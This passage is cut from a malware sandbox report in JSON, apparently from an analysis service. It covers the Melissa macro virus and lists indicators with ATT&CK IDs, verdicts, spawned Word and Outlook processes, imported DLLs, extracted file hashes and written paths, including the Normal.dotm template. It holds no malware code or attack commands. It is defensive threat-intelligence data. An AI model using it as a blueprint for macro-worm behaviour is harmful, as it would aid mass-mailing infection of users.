00000000-00001428.00000002.79989.00B90000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-469","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Contains NTDLL native APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-604","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$32","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$33","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.242.186\"\n Potential IP \"2.1.4.0\" found in string \"2.1.4.0, Mon 03/02/2009 12:32:57.69\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$34","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"Route to recipients\" (Indicator: \"route\"; Source: \"00000000-00001428.00000000.76146.05150000.00000002.mdmp, 00000000-00001428.00000001.78069.05150000.00000002.mdmp, 00000000-00001428.00000002.79989.05150000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":94,"imported_dlls_count":194,"dropped_files_count":0,"extracted_files_count":15,"files_written_count":136,"files_deleted_count":0,"registry_keys_created_count":10,"registry_keys_modified_count":0,"registry_keys_deleted_count":158,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":168,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["assilem","binder","furio","groov","loveletter","marker","massmail","melissa","sasser","shiver","vburses","macros-on-close","macros-on-open","borde","joiner","killfiles","redirector"],"sample_flags":["Multi-Process","Extracted Files","Sample Crashed","User Comment"],"sandbox_reports":[{"id":"66c0d90bdf882e09ce0cc440","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"Melissa.doc","analysis_start_time":"2024-08-17T17:08:27+00:00","indicators_count":{"informative":30,"suspicious":4,"malicious":3},"tags":["Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"64a5d766ed4f54f90b04e216","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Melissa.A","submit_name":"LIST.DOC","analysis_start_time":"2023-07-05T20:49:42+00:00","indicators_count":{"informative":32,"suspicious":5,"malicious":4},"tags":["Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"60570d6f4ff751744c54315a","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Melissa.A","submit_name":"LIST.DOC","analysis_start_time":"2021-03-21T09:10:13+00:00","indicators_count":{"informative":19,"suspicious":8,"malicious":6},"tags":["Multi-Process","Extracted Files","Sample Crashed","User Comment"],"is_in_unified_schema":true},{"id":"5e1f704d484ec8669b0fb0f7","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W97M.Melissa","submit_name":"LIST.DOC","analysis_start_time":"2020-01-15T20:04:37+00:00","indicators_count":{"informative":19,"suspicious":6,"malicious":4},"tags":["Multi-Process","Extracted Files","Sample Crashed","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}],"processes":[{"pid":2632,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\LIST.DOC\"","sha256":"c0a081e6d5e0279be4503f26f0b01bcedeebf1dfb95fcbe4fb935f881d111da0","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00065283-00002632","icon":"$35"},{"pid":2404,"ppid":0,"name":"OUTLOOK.EXE","command_line":"-Embedding","sha256":"64cb2f4b1a1e60f701fb3fcb8d5f8e8cd3d106aac24f55898d7b105b3e2976f9","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\OUTLOOK.EXE","uid":"00065678-00002404","icon":"$36"}],"all_imported_dlls":["OART.DLL","rasadhlp.dll","msvcp110.dll","cscui.dll","imageres.dll","MAPIR.DLL","mfc90u.dll","dwmapi.dll","uxtheme.dll","MSOINTL.DLL","api-ms-win-downlevel-advapi32-l1-1-0.dll","wininet.dll","cscapi.dll","tzres.dll","IPHLPAPI.DLL","sechost.dll","netapi32.dll","sfc.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","Faultrep.dll","dnsapi.dll","bcrypt.dll","nsi.dll","VBE7INTL.DLL","MSORES.DLL","ntmarta.dll","sxs.dll","msvcr90.dll","comctl32.dll","rpcrt4.dll","clbcatq.dll","sspicli.dll","imm32.dll","ole32.dll","msi.dll","profapi.dll","mapi32.dll","FileSyncShell64.dll","oleaccrc.dll","lpk.dll","cryptbase.dll","mscorwks.dll","iertutil.dll","USP10.DLL","api-ms-win-downlevel-shlwapi-l2-1-0.dll","msimtf.dll","sfc_os.dll","msxml6.dll","WWLIB.DLL","api-ms-win-core-synch-l1-2-0.dll","wkscli.dll","powrprof.dll","mscoree.dll","FM20.DLL","oleacc.dll","FWPUCLNT.DLL","ntdll.dll","WWINTL.DLL","Wldap32.dll","api-ms-win-downlevel-version-l1-1-0.dll","normaliz.dll","VxSSL64.dll","msasn1.dll","ALRTINTL.DLL","gdi32.dll","srvcli.dll","ExplorerFrame.dll","npmproxy.dll","WSHTCPIP.DLL","user32.dll","secur32.dll","slc.dll","winnsi.dll","kernel32.dll","shlwapi.dll","duser.dll","msvcp90.dll","ColleagueImport.dll","rsaenh.dll","msxml6r.dll","shell32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","UmOutlookStrings.dll","wshqos.dll","msvcrt.dll","usp10.dll","rpcss.dll","MSPTLS.DLL","CONTAB32.DLL","OUTLLIBR.DLL","msimg32.dll","GdiPlus.dll","propsys.dll","mscoreei.dll","MSPST32.DLL","netutils.dll","SOCIALCONNECTOR.DLL","nlaapi.dll","MSO.DLL","winhttp.dll","dhcpcsvc.dll","netprofm.dll","setupapi.dll","cryptsp.dll","OSPPC.DLL","ONBttnOL.dll","KernelBase.dll","ws2_32.dll","dui70.dll","devobj.dll","VBE7.DLL","MSGR3EN.DLL","OLMAPI32.DLL","davclnt.dll","davhlpr.dll","MFC90ENU.DLL","UmOutlookAddin.dll","cfgmgr32.dll","ntshrui.dll","oleaut32.dll","userenv.dll","msproof7.dll","actxprxy.dll","crypt32.dll","OMSINTL.DLL","RICHED20.DLL","cscdll.dll","WindowsCodecs.dll","mswsock.dll","webio.dll","EhStorShell.dll","EXSEC32.DLL","apphelp.dll","linkinfo.dll","msctf.dll","OMSXP32.DLL","api-ms-win-downlevel-advapi32-l2-1-0.dll","msvcr110.dll","wship6.dll","wscapi.dll","GFX.DLL","dhcpcsvc6.dll","SOCIALCONNECTORRES.DLL","mlang.dll","RpcRtRemote.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","RTFHTML.DLL","advapi32.dll","wtsapi32.dll","version.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","GKWord.dll","ucrtbase.dll","mpr.dll","srpapi.dll","windows.storage.dll","wintrust.dll","kernel.appcore.dll","msvcp110_win.dll","twinapi.appcore.dll","CoreMessaging.dll","gdi32full.dll","ninput.dll","TextInputFramework.dll","AcSpecfc.dll","msvcp_win.dll","umpdc.dll","fltLib.dll","AcGenral.dll","SHCore.dll","bcryptprimitives.dll","policymanager.dll","Windows.StateRepositoryCore.dll","gpapi.dll","CoreUIComponents.dll","WinTypes.dll","urlmon.dll","virtdisk.dll","combase.dll","MpClient.dll","Windows.System.Launcher.dll","DataExchange.dll","win32u.dll","coml2.dll","MpOAV.dll","xmllite.dll","Telemetry.dll","FileSyncShell.dll","psapi.dll","cabinet.dll","wsock32.dll","LoggingPlatform.dll","msvcr100.dll","ONBttnWD.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"LIST.DOC","sha256":"554701bc874da646285689df79e5002b3b1a1f76daf705bea9586640026697ca","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"~_LIST.DOC","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"LIST.LNK","sha256":"88204b15e2514df60d2a2828fae50f13941101bf47b0e214981ada36813c57f8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"index.dat","sha256":"ac324e44bb50d2d8f6bcb73f7f6a16d47ce872c84c70fc0450fe4d7c6fed9662","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"MSForms.exd","sha256":"d493f28867d8af619ac06825c899734a6ecd7d3580c5c7df8a6c99a479bdf87c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"firstrun.log","sha256":"702e70672770b8f6f99e80a6f84864acf7dfed4368f4b3df4e856c86c1cf8d6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"~WRS_F5C5C8DF-08E1-4028-B75F-C0DB3DB86856_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"~_Normal.dotm","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"Melissa.doc.LNK","sha256":"71a7cf6873985d470e19d151eb8468c1a67a6d0680acd170f12735b38c34bac6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"CUSTOM.DIC","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"~_elissa.doc","sha256":"589f200c14a357704d96e754503e319eb6e3ce7f77d4c44ad93f9e73ae155bd8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"mapisvc.inf","sha256":"7bfe1f3691e2b4fb4d61fbf5e9f7782fbe49da1342dbd32201c2cc8e540dbd1a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Stream_ConversationPrefs_2_3E0178D0DAF4F7498AEB469B68E04572.dat","sha256":"ad1bba6e46aac67ad68d992f7703c795e360ba887103ee75452c16a6da65d717","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"~WRS_CA3C0914-B8BA-4901-9610-C9122BC52C99_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"MSO1033.acl","sha256":"2e58d3dc261a6f8098e09e8b09767160845c75f8800862024735a5636595afbd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]}],"files_written":[{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\LIST","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{485D03D6-756B-471A-A230-43309FAF1044}.tmp","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%TEMP%\\CVRB9C1.tmp","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\OUTLOOK.EXE.config","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%USERPROFILE%\\Documents\\Outlook Files\\Outlook.pst","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%USERPROFILE%\\Documents\\Outlook Files\\~Outlook.pst.tmp","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_Calendar_2_359B464ED6866F4CAFB4FFA18BC0EA69.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_AvailabilityOptions_2_8935ED1BC963174AABF2DFC255AB7F61.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_WorkHours_1_BA69BC66F9525848BD9DB17698B2EFC8.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_RssRule_2_A498E375AB30BD4ABDBF8468D8D69985.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_E3327F86916CC1448E9184FBE63A1A00.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_ConversationPrefs_2_C8B835E30C1DE449886B7F2378F0B4BE.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_TCPrefs_2_2EDE21429693864DAFDA369F8516E6D0.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\WNMJ3S0T.txt","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Installer\\{91140000-0012-0000-1000-0000000FF1CE}\\wordicon.exe","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%TEMP%\\outlook logging","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%TEMP%\\outlook logging\\firstrun.log","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSOUTL.OLB","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%TEMP%\\CVR9736.tmp","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{F5C5C8DF-08E1-4028-B75F-C0DB3DB86856}.tmp","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%TEMP%\\~DFF85A05A2C3711BAD.TMP","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"C:\\~$LIST.DOC","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{500A90C0-E6DF-4065-84A6-5910A66BDAEC}.tmp","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\LIST.LNK","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\FM20.DLL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL\\3","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%TEMP%\\VBE\\MSForms.exd","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\microsoft 